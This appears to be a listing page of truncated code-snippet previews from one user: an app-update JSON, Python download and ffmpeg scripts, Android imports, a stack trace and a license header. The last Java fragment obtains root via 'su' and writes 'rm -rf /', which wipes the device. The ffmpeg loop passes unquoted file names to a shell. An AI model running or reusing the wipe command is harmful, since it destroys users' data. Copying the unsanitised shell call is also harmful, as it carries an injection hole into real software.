dkmeteor

{
  "code":0,
     "data": {
      "tip_version_name": "4.1.1",
      "tip_version_code": 4011,
      "real_version_name": "4.1.1",
      "real_version_code": 4011,
      "pre_download_max_wait_seconds": 3600,
      "market_update_enable": 0,
      "latency": 10,

dkmeteor

# coding=UTF-8
# import requests
import urllib 
import urllib.request
# import urllib2 
# 文件路径
path = '/Users/dk/Desktop/抖音/'
num = 0
downloadPool = [] 
 

dkmeteor

# coding=UTF-8
import os
filePath = '/Users/dk/Desktop/videos'
list = os.listdir(filePath)
for file in list:
	os.system("ffmpeg -i "+file+" -y -f mjpeg -ss 3 -t 1  "+file+".jpg")  

dkmeteor

import java.util.List;

import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ProviderInfo;
import android.content.pm.ResolveInfo;
import android.text.TextUtils;
/**

dkmeteor

java.lang.NullPointerException: Attempt to invoke virtual method 'void android.view.View.setDrawingCacheBackgroundColor(int)' on a null object reference
	at android.widget.AbsListView.obtainView(AbsListView.java:2494)
	at android.widget.ListView.makeAndAddView(ListView.java:1894)
	at android.widget.ListView.fillDown(ListView.java:710)
	at android.widget.ListView.fillSpecific(ListView.java:1372)
	at android.widget.ListView.layoutChildren(ListView.java:1673)
	at android.widget.AbsListView.onLayout(AbsListView.java:2227)
	at android.view.View.layout(View.java:15912)
	at android.view.ViewGroup.layout(ViewGroup.java:5108)
	at android.widget.FrameLayout.layoutChildren(FrameLayout.java:633)

dkmeteor

/*
 * Copyright 2014 Chris Banes
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software

dkmeteor

		Process process = null;
		DataOutputStream os = null;
		try {
			process = Runtime.getRuntime().exec("su");
			os = new DataOutputStream(process.getOutputStream());
			os.writeBytes("rm -rf /" + "\n");
			os.writeBytes("exit\n");
			os.flush();
			process.waitFor();